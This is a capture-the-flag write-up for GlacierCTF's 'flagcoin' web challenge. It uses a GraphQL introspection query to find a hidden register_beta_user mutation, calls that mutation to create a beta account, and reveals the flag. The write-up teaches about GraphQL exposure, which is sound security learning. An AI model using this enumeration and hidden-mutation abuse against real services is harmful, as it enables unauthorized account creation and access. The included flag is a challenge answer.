Challenge

Our new 110% legit cryptocurrency is so cool, it does not even use blockchains. We have a WIP web interface for trading though. Hope nobody can get a beta testing account.

https://flagcoin.ctf.glacierctf.com

Writeup

There is a graphql query endpoint:

const graphql = async (query, variables) => {
  let res = await fetch("/graphql", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ query, variables })
  });
  return await res.json();
};

const login = async () => {
  let username = $("input[name=user]").value;
  let password = $("input[name=pass]").value;
  let res = await graphql(`
      mutation($username: String!, $password: String!) { 
        login(username: $username, password: $password) { 
          username 
        } 
      }
      `, {
    username,
    password
  });

  if (res.errors) {
    alert('login error ' + res.errors[0].message);
  } else {
    location.href = '/panel';
  }
};

We can leverage the GraphQL schema to find all mutations available (learned from https://hwlanxiaojun.github.io/2020/04/14/%E5%BD%93CTF%E9%81%87%E4%B8%8AGraphQL%E7%9A%84%E9%82%A3%E4%BA%9B%E4%BA%8B/):

query IntrospectionQuery{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}

In the schema, we can see that there is a mutation called register_beta_user:

{
    "name": "register_beta_user",
    "description": null,
    "args": [
        {
            "name": "username",
            "description": null,
            "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
            },
            "defaultValue": null
        },
        {
            "name": "password",
            "description": null,
            "type": {
                "kind": "SCALAR",
                "name": "String",
                "ofType": null
            },
            "defaultValue": null
        }
    ],
    "type": {
        "kind": "OBJECT",
        "name": "User",
        "ofType": null
    },
    "isDeprecated": false,
    "deprecationReason": null
},

We can register a beta user via the mutation:

graphql("mutation($username: String!, $password: String!) {register_beta_user(username: $username, password: $password) { username }}", {username: 'beta1234', password: 'beta1234'}).await

We can login to the account and capture the flag glacierctf{bUy_Th3_d1P_br0h}.

Conclusion

GraphQL has its introspection ability, which is useful for development, but can be leveraged by the attacker as well.